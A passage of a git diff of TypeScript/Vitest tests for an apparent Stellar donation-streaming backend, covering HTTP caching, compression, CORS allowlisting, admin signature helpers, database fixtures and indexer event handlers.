expect(cachedResponse.body).toBe(''); + expect(cachedResponse.headers.etag).toBe(etag); + + await app.close(); + }); + + it('returns 304 for If-None-Match: * (matches any representation)', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { value: 'data' }), + ); + + const response = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': '*' }, + }); + + expect(response.statusCode).toBe(304); + expect(response.body).toBe(''); + + await app.close(); + }); + + it('returns 304 when If-None-Match contains a weak ETag validator', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { value: 'content' }), + ); + + const firstResponse = await app.inject({ method: 'GET', url: '/public' }); + const etag = firstResponse.headers.etag; + + const cachedResponse = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': `W/${etag}` }, + }); + + expect(cachedResponse.statusCode).toBe(304); + + await app.close(); + }); + + it('returns 304 when If-None-Match is a comma-separated list containing the right ETag', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { version: 3 }), + ); + + const firstResponse = await app.inject({ method: 'GET', url: '/public' }); + const etag = firstResponse.headers.etag; + + const cachedResponse = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': `"old-etag-1", ${etag}, "old-etag-2"` }, + }); + + expect(cachedResponse.statusCode).toBe(304); + + await app.close(); + }); + + it('returns 200 with full body when If-None-Match does not match', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { status: 'fresh' }), + ); + + const response = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': '"non-matching-etag"' }, + }); + + expect(response.statusCode).toBe(200); + expect(response.json()).toEqual({ status: 'fresh' }); + + await app.close(); + }); + + it('handles comma-separated list with weak validators', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { data: 'test' }), + ); + + const firstResponse = await app.inject({ method: 'GET', url: '/public' }); + const etag = firstResponse.headers.etag; + + const cachedResponse = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': `W/"other", W/${etag}, W/"another"` }, + }); + + expect(cachedResponse.statusCode).toBe(304); + + await app.close(); + }); + + it('handles If-None-Match with spaces around commas', async () => { + const app = Fastify(); + app.get('/public', async (request, reply) => + sendPublicCacheable(request, reply, { value: 'spaced' }), + ); + + const firstResponse = await app.inject({ method: 'GET', url: '/public' }); + const etag = firstResponse.headers.etag; + + const cachedResponse = await app.inject({ + method: 'GET', + url: '/public', + headers: { 'if-none-match': ` "old" , ${etag} , "other" ` }, + }); + + expect(cachedResponse.statusCode).toBe(304); + + await app.close(); + }); +}); diff --git a/test/checkpoint.test.ts b/test/checkpoint.test.ts index 2a96763..676fc43 100644 --- a/test/checkpoint.test.ts +++ b/test/checkpoint.test.ts @@ -1,24 +1,24 @@ -import { afterEach, describe, expect, it } from 'vitest'; - -import { getCheckpoint, saveCheckpoint } from '../src/indexer/checkpoint.js'; -import { prisma } from '../src/db.js'; -import { resetDb } from './helpers/db.js'; - -afterEach(async () => { - await resetDb(); -}); - -describe('checkpoint persistence', () => { - it('creates then updates the single main checkpoint row', async () => { - await saveCheckpoint(100); - await saveCheckpoint(125); - expect(await prisma.indexerCheckpoint.count()).toBe(1); - expect(await getCheckpoint()).toBe(125); - }); - - it('returns the stored ledger and undefined when unset', async () => { - expect(await getCheckpoint()).toBeUndefined(); - await saveCheckpoint(321); - expect(await getCheckpoint()).toBe(321); - }); -}); +import { afterEach, describe, expect, it } from 'vitest'; + +import { getCheckpoint, saveCheckpoint } from '../src/indexer/checkpoint.js'; +import { prisma } from '../src/db.js'; +import { resetDb } from './helpers/db.js'; + +afterEach(async () => { + await resetDb(); +}); + +describe('checkpoint persistence', () => { + it('creates then updates the single main checkpoint row', async () => { + await saveCheckpoint(100); + await saveCheckpoint(125); + expect(await prisma.indexerCheckpoint.count()).toBe(1); + expect(await getCheckpoint()).toBe(125); + }); + + it('returns the stored ledger and undefined when unset', async () => { + expect(await getCheckpoint()).toBeUndefined(); + await saveCheckpoint(321); + expect(await getCheckpoint()).toBe(321); + }); +}); diff --git a/test/compression.test.ts b/test/compression.test.ts index 31aa56f..c317108 100644 --- a/test/compression.test.ts +++ b/test/compression.test.ts @@ -1,45 +1,45 @@ -import { describe, it, expect } from 'vitest'; -import { gunzipSync } from 'node:zlib'; -import { buildServer } from '../src/server.js'; - -async function build() { - const app = buildServer(); - await app.after(); - app.get('/big', async () => ({ - items: Array.from({ length: 500 }, (_, i) => ({ id: i, name: `ngo-${i}` })), - })); - app.get('/small', async () => ({ ok: true })); - await app.ready(); - return app; -} - -describe('response compression', () => { - it('compresses large JSON when client accepts gzip', async () => { - const app = await build(); - const res = await app.inject({ - url: '/big', - headers: { 'accept-encoding': 'gzip' }, - }); - expect(res.headers['content-encoding']).toBe('gzip'); - const body = JSON.parse(gunzipSync(res.rawPayload).toString()); - expect(body.items).toHaveLength(500); - await app.close(); - }); - - it('does not compress when client sends no accept-encoding', async () => { - const app = await build(); - const res = await app.inject({ url: '/big' }); - expect(res.headers['content-encoding']).toBeUndefined(); - await app.close(); - }); - - it('skips responses under the threshold', async () => { - const app = await build(); - const res = await app.inject({ - url: '/small', - headers: { 'accept-encoding': 'gzip' }, - }); - expect(res.headers['content-encoding']).toBeUndefined(); - await app.close(); - }); -}); +import { describe, it, expect } from 'vitest'; +import { gunzipSync } from 'node:zlib'; +import { buildServer } from '../src/server.js'; + +async function build() { + const app = buildServer(); + await app.after(); + app.get('/big', async () => ({ + items: Array.from({ length: 500 }, (_, i) => ({ id: i, name: `ngo-${i}` })), + })); + app.get('/small', async () => ({ ok: true })); + await app.ready(); + return app; +} + +describe('response compression', () => { + it('compresses large JSON when client accepts gzip', async () => { + const app = await build(); + const res = await app.inject({ + url: '/big', + headers: { 'accept-encoding': 'gzip' }, + }); + expect(res.headers['content-encoding']).toBe('gzip'); + const body = JSON.parse(gunzipSync(res.rawPayload).toString()); + expect(body.items).toHaveLength(500); + await app.close(); + }); + + it('does not compress when client sends no accept-encoding', async () => { + const app = await build(); + const res = await app.inject({ url: '/big' }); + expect(res.headers['content-encoding']).toBeUndefined(); + await app.close(); + }); + + it('skips responses under the threshold', async () => { + const app = await build(); + const res = await app.inject({ + url: '/small', + headers: { 'accept-encoding': 'gzip' }, + }); + expect(res.headers['content-encoding']).toBeUndefined(); + await app.close(); + }); +}); diff --git a/test/cors.test.ts b/test/cors.test.ts index cdc4416..1fb2adf 100644 --- a/test/cors.test.ts +++ b/test/cors.test.ts @@ -1,130 +1,130 @@ -import { afterEach, describe, expect, it } from 'vitest'; - -import { buildServer } from '../src/server.js'; - -describe('CORS configuration', () => { - const originalCorsOrigins = process.env.CORS_ORIGINS; - - afterEach(() => { - if (originalCorsOrigins === undefined) { - delete process.env.CORS_ORIGINS; - } else { - process.env.CORS_ORIGINS = originalCorsOrigins; - } - }); - - it('returns CORS headers for configured allowed origin', async () => { - process.env.CORS_ORIGINS = 'http://localhost:3001,http://localhost:3000'; - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/metrics', - headers: { - origin: 'http://localhost:3001', - }, - }); - - expect(response.statusCode).toBe(200); - expect(response.headers['access-control-allow-origin']).toBe('http://localhost:3001'); - - await app.close(); - }); - - it('handles preflight OPTIONS requests with CORS headers', async () => { - process.env.CORS_ORIGINS = 'http://localhost:3001'; - const app = buildServer(); - - const response = await app.inject({ - method: 'OPTIONS', - url: '/v1/ngo-applications', - headers: { - origin: 'http://localhost:3001', - 'access-control-request-method': 'POST', - 'access-control-request-headers': 'x-admin-address,x-admin-signature,x-admin-timestamp', - }, - }); - - expect(response.statusCode).toBe(204); - expect(response.headers['access-control-allow-origin']).toBe('http://localhost:3001'); - const allowedHeaders = String(response.headers['access-control-allow-headers']) - .split(',') - .map((header) => header.trim().toLowerCase()); - expect(allowedHeaders).toEqual( - expect.arrayContaining(['x-admin-address', 'x-admin-signature', 'x-admin-timestamp']), - ); - - await app.close(); - }); - - it('omits access-control-allow-origin for an origin outside the allowlist', async () => { - process.env.CORS_ORIGINS = 'https://app.streamgive.example'; - const app = buildServer(); - - const response = await app.inject({ - method: 'OPTIONS', - url: '/v1/ngo-applications', - headers: { - origin: 'https://evil.example', - 'access-control-request-method': 'POST', - 'access-control-request-headers': 'x-admin-address,x-admin-signature,x-admin-timestamp', - }, - }); - - expect(response.headers['access-control-allow-origin']).toBeUndefined(); - - await app.close(); - }); - - it('advertises PUT, PATCH, and DELETE for browser preflight requests', async () => { - process.env.CORS_ORIGINS = 'http://localhost:3001'; - const app = buildServer(); - - const response = await app.inject({ - method: 'OPTIONS', - url: '/metrics', - headers: { - origin: 'http://localhost:3001', - 'access-control-request-method': 'PATCH', - }, - }); - - const methods = String(response.headers['access-control-allow-methods']) - .split(',') - .map((method) => method.trim().toUpperCase()); - expect(response.statusCode).toBe(204); - expect(methods).toEqual(expect.arrayContaining(['PUT', 'PATCH', 'DELETE'])); - - await app.close(); - }); - - it('exposes Retry-After and the rate-limit headers to browser clients', async () => { - process.env.CORS_ORIGINS = 'http://localhost:3001'; - const app = buildServer(); - - const response = await app.inject({ - method: 'GET', - url: '/metrics', - headers: { - origin: 'http://localhost:3001', - }, - }); - - expect(response.statusCode).toBe(200); - const exposedHeaders = String(response.headers['access-control-expose-headers']) - .split(',') - .map((header) => header.trim().toLowerCase()); - - expect(exposedHeaders).toEqual( - expect.arrayContaining([ - 'x-request-id', - 'retry-after', - 'x-ratelimit-limit', - 'x-ratelimit-remaining', - 'x-ratelimit-reset', - ]), - ); - - await app.close(); - }); -}); +import { afterEach, describe, expect, it } from 'vitest'; + +import { buildServer } from '../src/server.js'; + +describe('CORS configuration', () => { + const originalCorsOrigins = process.env.CORS_ORIGINS; + + afterEach(() => { + if (originalCorsOrigins === undefined) { + delete process.env.CORS_ORIGINS; + } else { + process.env.CORS_ORIGINS = originalCorsOrigins; + } + }); + + it('returns CORS headers for configured allowed origin', async () => { + process.env.CORS_ORIGINS = 'http://localhost:3001,http://localhost:3000'; + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/metrics', + headers: { + origin: 'http://localhost:3001', + }, + }); + + expect(response.statusCode).toBe(200); + expect(response.headers['access-control-allow-origin']).toBe('http://localhost:3001'); + + await app.close(); + }); + + it('handles preflight OPTIONS requests with CORS headers', async () => { + process.env.CORS_ORIGINS = 'http://localhost:3001'; + const app = buildServer(); + + const response = await app.inject({ + method: 'OPTIONS', + url: '/v1/ngo-applications', + headers: { + origin: 'http://localhost:3001', + 'access-control-request-method': 'POST', + 'access-control-request-headers': 'x-admin-address,x-admin-signature,x-admin-timestamp', + }, + }); + + expect(response.statusCode).toBe(204); + expect(response.headers['access-control-allow-origin']).toBe('http://localhost:3001'); + const allowedHeaders = String(response.headers['access-control-allow-headers']) + .split(',') + .map((header) => header.trim().toLowerCase()); + expect(allowedHeaders).toEqual( + expect.arrayContaining(['x-admin-address', 'x-admin-signature', 'x-admin-timestamp']), + ); + + await app.close(); + }); + + it('omits access-control-allow-origin for an origin outside the allowlist', async () => { + process.env.CORS_ORIGINS = 'https://app.streamgive.example'; + const app = buildServer(); + + const response = await app.inject({ + method: 'OPTIONS', + url: '/v1/ngo-applications', + headers: { + origin: 'https://evil.example', + 'access-control-request-method': 'POST', + 'access-control-request-headers': 'x-admin-address,x-admin-signature,x-admin-timestamp', + }, + }); + + expect(response.headers['access-control-allow-origin']).toBeUndefined(); + + await app.close(); + }); + + it('advertises PUT, PATCH, and DELETE for browser preflight requests', async () => { + process.env.CORS_ORIGINS = 'http://localhost:3001'; + const app = buildServer(); + + const response = await app.inject({ + method: 'OPTIONS', + url: '/metrics', + headers: { + origin: 'http://localhost:3001', + 'access-control-request-method': 'PATCH', + }, + }); + + const methods = String(response.headers['access-control-allow-methods']) + .split(',') + .map((method) => method.trim().toUpperCase()); + expect(response.statusCode).toBe(204); + expect(methods).toEqual(expect.arrayContaining(['PUT', 'PATCH', 'DELETE'])); + + await app.close(); + }); + + it('exposes Retry-After and the rate-limit headers to browser clients', async () => { + process.env.CORS_ORIGINS = 'http://localhost:3001'; + const app = buildServer(); + + const response = await app.inject({ + method: 'GET', + url: '/metrics', + headers: { + origin: 'http://localhost:3001', + }, + }); + + expect(response.statusCode).toBe(200); + const exposedHeaders = String(response.headers['access-control-expose-headers']) + .split(',') + .map((header) => header.trim().toLowerCase()); + + expect(exposedHeaders).toEqual( + expect.arrayContaining([ + 'x-request-id', + 'retry-after', + 'x-ratelimit-limit', + 'x-ratelimit-remaining', + 'x-ratelimit-reset', + ]), + ); + + await app.close(); + }); +}); diff --git a/test/helpers/adminAuth.ts b/test/helpers/adminAuth.ts index 470efb4..3059761 100644 --- a/test/helpers/adminAuth.ts +++ b/test/helpers/adminAuth.ts @@ -1,36 +1,36 @@ -import type { Keypair } from '@stellar/stellar-sdk'; - -import { bodyHash, sep53Hash } from '../../src/middleware/adminAuth.js'; - -/** Builds the three headers requireAdminSignature expects, signed for one - * specific method+url+body combination — mirrors exactly what the middleware - * verifies, including the SEP-53 message-signing prefix/hash a real wallet - * applies. - * - * The timestamp must be a Unix epoch timestamp in **milliseconds** (e.g. - * `Date.now().toString()`), not seconds. Pass the default to avoid unit - * ambiguity. - * - * The body parameter must be the raw request body (string or Buffer). Omit - * or pass an empty string/Buffer for bodyless requests (GET, DELETE, etc.). - */ -export function signAdminRequest( - keypair: Keypair, - method: string, - url: string, - timestamp: string = Date.now().toString(), - body: Buffer | string = '', -): Record { - const payload = `${method}:${url}:${timestamp}:${bodyHash(body)}`; - // `sign()` returns a Uint8Array, not a Buffer — calling `.toString('base64')` - // on it straight would hit Array.prototype.toString, which ignores the - // encoding argument and yields "166,129,8,..." (decimal bytes). That decodes - // back to garbage, so every signed request would 401. Wrap it first. - const signature = Buffer.from(keypair.sign(sep53Hash(payload))).toString('base64'); - - return { - 'x-admin-address': keypair.publicKey(), - 'x-admin-signature': signature, - 'x-admin-timestamp': timestamp, - }; -} +import type { Keypair } from '@stellar/stellar-sdk'; + +import { bodyHash, sep53Hash } from '../../src/middleware/adminAuth.js'; + +/** Builds the three headers requireAdminSignature expects, signed for one + * specific method+url+body combination — mirrors exactly what the middleware + * verifies, including the SEP-53 message-signing prefix/hash a real wallet + * applies. + * + * The timestamp must be a Unix epoch timestamp in **milliseconds** (e.g. + * `Date.now().toString()`), not seconds. Pass the default to avoid unit + * ambiguity. + * + * The body parameter must be the raw request body (string or Buffer). Omit + * or pass an empty string/Buffer for bodyless requests (GET, DELETE, etc.). + */ +export function signAdminRequest( + keypair: Keypair, + method: string, + url: string, + timestamp: string = Date.now().toString(), + body: Buffer | string = '', +): Record { + const payload = `${method}:${url}:${timestamp}:${bodyHash(body)}`; + // `sign()` returns a Uint8Array, not a Buffer — calling `.toString('base64')` + // on it straight would hit Array.prototype.toString, which ignores the + // encoding argument and yields "166,129,8,..." (decimal bytes). That decodes + // back to garbage, so every signed request would 401. Wrap it first. + const signature = Buffer.from(keypair.sign(sep53Hash(payload))).toString('base64'); + + return { + 'x-admin-address': keypair.publicKey(), + 'x-admin-signature': signature, + 'x-admin-timestamp': timestamp, + }; +} diff --git a/test/helpers/db.ts b/test/helpers/db.ts index 1d13511..4fbf8e9 100644 --- a/test/helpers/db.ts +++ b/test/helpers/db.ts @@ -1,47 +1,47 @@ -import { Keypair, StrKey } from '@stellar/stellar-sdk'; - -import { prisma } from '../../src/db.js'; - -/** Truncates every table. Call between tests so fixtures never leak across them. */ -export async function resetDb(): Promise { - try { - await prisma.notificationEndpoint.deleteMany(); - await prisma.notificationLog.deleteMany(); - await prisma.streamEvent.deleteMany(); - await prisma.stream.deleteMany(); - await prisma.donor.deleteMany(); - await prisma.ngo.deleteMany(); - await prisma.ngoApplicationContactChallenge.deleteMany(); - await prisma.ngoApplication.deleteMany(); - await prisma.ngoApplicationChallenge.deleteMany(); - await prisma.indexerCheckpoint.deleteMany(); - await prisma.indexerDeadLetter.deleteMany(); - } catch (err) { - const message = - `resetDb failed: ${String(err)}\n` + - 'Ensure the test Postgres is running and DATABASE_URL in .env.test is correct.'; - throw new Error(message, { cause: err }); - } -} - -/** - * A real, checksum-valid Stellar G-address, derived deterministically from - * `distinguishingChar` so a given letter always yields the same address and - * distinct letters yield distinct ones. - * - * These used to be `G` + the letter repeated 55 times. That satisfies the - * `^G[A-Z2-7]{55}$` shape our route validation checks, but it isn't valid - * StrKey — so anything that actually decodes an address (`new Address(...)` - * in the event fixtures, for one) rejected it outright. Deriving from a - * filled seed keeps the "no fixture management" convenience while producing - * addresses that survive real decoding. - */ -export function fakeAddress(distinguishingChar: string): string { - const seed = Buffer.alloc(32, distinguishingChar.toUpperCase().charCodeAt(0)); - return Keypair.fromRawEd25519Seed(seed).publicKey(); -} -/** A checksum-valid Stellar contract address derived deterministically for tests. */ -export function fakeContractAddress(distinguishingChar: string): string { - const contractId = Buffer.alloc(32, distinguishingChar.toUpperCase().charCodeAt(0)); - return StrKey.encodeContract(contractId); -} +import { Keypair, StrKey } from '@stellar/stellar-sdk'; + +import { prisma } from '../../src/db.js'; + +/** Truncates every table. Call between tests so fixtures never leak across them. */ +export async function resetDb(): Promise { + try { + await prisma.notificationEndpoint.deleteMany(); + await prisma.notificationLog.deleteMany(); + await prisma.streamEvent.deleteMany(); + await prisma.stream.deleteMany(); + await prisma.donor.deleteMany(); + await prisma.ngo.deleteMany(); + await prisma.ngoApplicationContactChallenge.deleteMany(); + await prisma.ngoApplication.deleteMany(); + await prisma.ngoApplicationChallenge.deleteMany(); + await prisma.indexerCheckpoint.deleteMany(); + await prisma.indexerDeadLetter.deleteMany(); + } catch (err) { + const message = + `resetDb failed: ${String(err)}\n` + + 'Ensure the test Postgres is running and DATABASE_URL in .env.test is correct.'; + throw new Error(message, { cause: err }); + } +} + +/** + * A real, checksum-valid Stellar G-address, derived deterministically from + * `distinguishingChar` so a given letter always yields the same address and + * distinct letters yield distinct ones. + * + * These used to be `G` + the letter repeated 55 times. That satisfies the + * `^G[A-Z2-7]{55}$` shape our route validation checks, but it isn't valid + * StrKey — so anything that actually decodes an address (`new Address(...)` + * in the event fixtures, for one) rejected it outright. Deriving from a + * filled seed keeps the "no fixture management" convenience while producing + * addresses that survive real decoding. + */ +export function fakeAddress(distinguishingChar: string): string { + const seed = Buffer.alloc(32, distinguishingChar.toUpperCase().charCodeAt(0)); + return Keypair.fromRawEd25519Seed(seed).publicKey(); +} +/** A checksum-valid Stellar contract address derived deterministically for tests. */ +export function fakeContractAddress(distinguishingChar: string): string { + const contractId = Buffer.alloc(32, distinguishingChar.toUpperCase().charCodeAt(0)); + return StrKey.encodeContract(contractId); +} diff --git a/test/helpers/events.ts b/test/helpers/events.ts index 30fee28..e90232e 100644 --- a/test/helpers/events.ts +++ b/test/helpers/events.ts @@ -1,54 +1,54 @@ -import { Address, nativeToScVal, xdr } from '@stellar/stellar-sdk'; - -import type { ContractEvent } from '../../src/indexer/worker.js'; - -export function symbolScVal(value: string): xdr.ScVal { - return nativeToScVal(value, { type: 'symbol' }); -} - -export function stringScVal(value: string): xdr.ScVal { - return nativeToScVal(value, { type: 'string' }); -} - -export function u64ScVal(value: bigint | number): xdr.ScVal { - return nativeToScVal(value, { type: 'u64' }); -} - -export function i128ScVal(value: bigint | number): xdr.ScVal { - return nativeToScVal(value, { type: 'i128' }); -} - -export function addressScVal(address: string): xdr.ScVal { - return new Address(address).toScVal(); -} - -/** - * Builds just enough of a getEvents() response entry to exercise the - * indexer handlers: they only ever read `.topic` and `.value`. `topic` and - * `value` are built from real ScVal constructors (not plain JS objects), - * so these tests catch actual encode/decode mismatches rather than just - * confirming a mock behaves the way we assumed it would. - * - * `id` and `ledger` are only worth overriding for tests that drive - * `pollOnce()` itself, where the checkpoint and the dead-letter row are - * keyed on them; handler tests can ignore both. - */ -export function makeEvent( - topic: xdr.ScVal[], - value: xdr.ScVal, - options?: { ledgerClosedAt?: string; id?: string; ledger?: number; txHash?: string }, -): ContractEvent { - const ledger = options?.ledger ?? 100; - - return { - id: options?.id ?? `${String(ledger).padStart(10, '0')}-0000000000`, - type: 'contract', - ledger, - ledgerClosedAt: options?.ledgerClosedAt ?? new Date().toISOString(), - txHash: options?.txHash ?? 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef', - contractId: 'CTESTCONTRACTID', - topic, - value, - inSuccessfulContractCall: true, - } as unknown as ContractEvent; -} +import { Address, nativeToScVal, xdr } from '@stellar/stellar-sdk'; + +import type { ContractEvent } from '../../src/indexer/worker.js'; + +export function symbolScVal(value: string): xdr.ScVal { + return nativeToScVal(value, { type: 'symbol' }); +} + +export function stringScVal(value: string): xdr.ScVal { + return nativeToScVal(value, { type: 'string' }); +} + +export function u64ScVal(value: bigint | number): xdr.ScVal { + return nativeToScVal(value, { type: 'u64' }); +} + +export function i128ScVal(value: bigint | number): xdr.ScVal { + return nativeToScVal(value, { type: 'i128' }); +} + +export function addressScVal(address: string): xdr.ScVal { + return new Address(address).toScVal(); +} + +/** + * Builds just enough of a getEvents() response entry to exercise the + * indexer handlers: they only ever read `.topic` and `.value`. `topic` and + * `value` are built from real ScVal constructors (not plain JS objects), + * so these tests catch actual encode/decode mismatches rather than just + * confirming a mock behaves the way we assumed it would. + * + * `id` and `ledger` are only worth overriding for tests that drive + * `pollOnce()` itself, where the checkpoint and the dead-letter row are + * keyed on them; handler tests can ignore both. + */ +export function makeEvent( + topic: xdr.ScVal[], + value: xdr.ScVal, + options?: { ledgerClosedAt?: string; id?: string; ledger?: number; txHash?: string }, +): ContractEvent { + const ledger = options?.ledger ?? 100; + + return { + id: options?.id ?? `${String(ledger).padStart(10, '0')}-0000000000`, + type: 'contract', + ledger, + ledgerClosedAt: options?.ledgerClosedAt ?? new Date().toISOString(), + txHash: options?.txHash ?? 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef', + contractId: 'CTESTCONTRACTID', + topic, + value, + inSuccessfulContractCall: true, + } as unknown as ContractEvent; +} diff --git a/test/indexer/donationVault.test.ts b/test/indexer/donationVault.test.ts index 11f768f..355845f 100644 --- a/test/indexer/donationVault.test.ts +++ b/test/indexer/donationVault.test.ts @@ -1,687 +1,687 @@ -import { xdr } from '@stellar/stellar-sdk'; -import { afterEach, describe, expect, it, vi } from 'vitest'; - -vi.mock('../../src/notifications/service.js', () => ({ dispatchNotification: vi.fn() })); - -import { prisma } from '../../src/db.js'; -import { handleDonationVaultEvent } from '../../src/indexer/handlers/donationVault.js'; -import { handleNgoRegistryEvent } from '../../src/indexer/handlers/ngoRegistry.js'; -import { logger } from '../../src/logger.js'; -import { dispatchNotification } from '../../src/notifications/service.js'; -import { fakeAddress, resetDb } from '../helpers/db.js'; -import { - addressScVal, - i128ScVal, - makeEvent, - stringScVal, - symbolScVal, - u64ScVal, -} from '../helpers/events.js'; - -describe('handleDonationVaultEvent', () => { - afterEach(async () => { - vi.restoreAllMocks(); - vi.mocked(dispatchNotification).mockClear(); - await resetDb(); - }); - - it('creates a stream (and placeholder donor/ngo rows) on a created event', async () => { - const donor = fakeAddress('A'); - const ngo = fakeAddress('B'); - const token = fakeAddress('C'); - - const closedAt = '2024-01-15T12:00:00.000Z'; - const txHash = 'b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4'; - const event = makeEvent( - [symbolScVal('created'), u64ScVal(1n)], - xdr.ScVal.scvVec([ - addressScVal(donor), - addressScVal(ngo), - addressScVal(token), - i128ScVal(1000n), - i128ScVal(10n), - ]), - { ledgerClosedAt: closedAt, txHash }, - ); - - await handleDonationVaultEvent(event); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 1n } }); - expect(stream?.balance).toBe('1000'); - expect(stream?.rate).toBe('10'); - expect(stream?.withdrawn).toBe('0'); - expect(stream?.status).toBe('ACTIVE'); - expect(stream?.createdAt.toISOString()).toBe(new Date(closedAt).toISOString()); - expect(stream?.createdTxHash).toBe(txHash); - - expect(await prisma.donor.findUnique({ where: { address: donor } })).not.toBeNull(); - - // Never went through ngo-registry — placeholder, unverified. - const ngoRow = await prisma.ngo.findUniqueOrThrow({ where: { ownerAddress: ngo } }); - expect(ngoRow?.verified).toBe(false); - expect(dispatchNotification).toHaveBeenCalledWith({ - type: 'stream_created', - eventId: event.id, - streamId: '1', - donorAddress: donor, - ngoId: ngoRow.id, - }); - - // A StreamEvent row must be written atomically with the stream upsert. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'created' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.streamId).toBe(1n); - expect(streamEvent?.ledger).toBe(100); - expect(streamEvent?.txHash).toBe(txHash); - expect(streamEvent?.payload).toMatchObject({ - deposit: '1000', - rate: '10', - }); - }); - - it('preserves a registered and verified NGO name on a created event', async () => { - const donor = fakeAddress('M'); - const ngo = fakeAddress('N'); - const token = fakeAddress('O'); - const registeredName = 'Doctors Without Borders'; - - await handleNgoRegistryEvent( - makeEvent([symbolScVal('register'), addressScVal(ngo)], stringScVal(registeredName)), - ); - await handleNgoRegistryEvent( - makeEvent([symbolScVal('approved'), addressScVal(ngo)], stringScVal('')), - ); - - await handleDonationVaultEvent( - makeEvent( - [symbolScVal('created'), u64ScVal(5n)], - xdr.ScVal.scvVec([ - addressScVal(donor), - addressScVal(ngo), - addressScVal(token), - i128ScVal(1000n), - i128ScVal(10n), - ]), - ), - ); - - const ngoRow = await prisma.ngo.findUnique({ where: { ownerAddress: ngo } }); - expect(ngoRow?.name).toBe(registeredName); - expect(ngoRow?.verified).toBe(true); - }); - - it('applies a withdraw event as a balance/withdrawn delta', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('D') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('E'), name: 'NGO E' }, - }); - await prisma.stream.create({ - data: { - onChainId: 2n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('F'), - rate: '10', - balance: '1000', - withdrawn: '0', - }, - }); - - await handleDonationVaultEvent( - makeEvent([symbolScVal('withdraw'), u64ScVal(2n)], i128ScVal(500n)), - ); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 2n } }); - expect(stream?.balance).toBe('500'); - expect(stream?.withdrawn).toBe('500'); - - // A StreamEvent row must be written atomically with the stream update. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'withdraw' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.streamId).toBe(2n); - expect(streamEvent?.ledger).toBe(100); - expect(streamEvent?.payload).toMatchObject({ accrued: '500' }); - }); - - it('sets updatedAt from the on-chain ledger close time on a withdraw event', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('D2') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('E2'), name: 'NGO E2' }, - }); - await prisma.stream.create({ - data: { - onChainId: 20n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('F2'), - rate: '10', - balance: '1000', - withdrawn: '0', - }, - }); - - const onChainTime = '2024-03-10T08:00:00.000Z'; - const event = makeEvent([symbolScVal('withdraw'), u64ScVal(20n)], i128ScVal(200n), { - ledgerClosedAt: onChainTime, - }); - await handleDonationVaultEvent(event); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 20n } }); - expect(stream?.updatedAt.toISOString()).toBe(new Date(onChainTime).toISOString()); - }); - - it('clamps the balance to zero when accrued exceeds the recorded balance', async () => { - const warn = vi.spyOn(logger, 'warn'); - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('M') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('N'), name: 'NGO N' }, - }); - await prisma.stream.create({ - data: { - onChainId: 5n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('O'), - rate: '10', - balance: '400', - withdrawn: '100', - }, - }); - - await handleDonationVaultEvent( - makeEvent([symbolScVal('withdraw'), u64ScVal(5n)], i128ScVal(500n)), - ); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 5n } }); - expect(stream?.balance).toBe('0'); - expect(stream?.withdrawn).toBe('600'); - expect(warn).toHaveBeenCalledWith( - { onChainId: '5', balance: '400', accrued: '500' }, - 'withdraw exceeds recorded stream balance', - ); - }); - - it('applies a cancel event: settles accrued, zeroes balance/rate, marks cancelled', async () => { - const donorRow = await prisma.donor.create({ data: { address: fakeAddress('G') } }); - const ngoRow = await prisma.ngo.create({ - data: { ownerAddress: fakeAddress('H'), name: 'NGO H' }, - }); - await prisma.stream.create({ - data: { - onChainId: 3n, - donorId: donorRow.id, - ngoId: ngoRow.id, - tokenAddress: fakeAddress('I'), - rate: '10', - balance: '1000', - withdrawn: '200', - }, - }); - - const event = makeEvent( - [symbolScVal('cancel'), u64ScVal(3n)], - xdr.ScVal.scvVec([i128ScVal(300n), i128ScVal(700n)]), - ); - await handleDonationVaultEvent(event); - - const stream = await prisma.stream.findUnique({ where: { onChainId: 3n } }); - expect(stream?.balance).toBe('0'); - expect(stream?.rate).toBe('0'); - expect(stream?.lastRate).toBe('10'); // original rate preserved from before cancel - expect(stream?.withdrawn).toBe('500'); // 200 already withdrawn + 300 settled on cancel - expect(stream?.status).toBe('CANCELLED'); - - // A StreamEvent row must be written atomically with the stream update. - const streamEvent = await prisma.streamEvent.findFirst({ where: { type: 'cancel' } }); - expect(streamEvent).not.toBeNull(); - expect(streamEvent?.streamId).toBe(3n); - expect(streamEvent?.ledger).toBe(100); - expect(streamEvent?.payload).toMatchObject({ accrued: '300', refund: '700' }); - }); - - it('sets 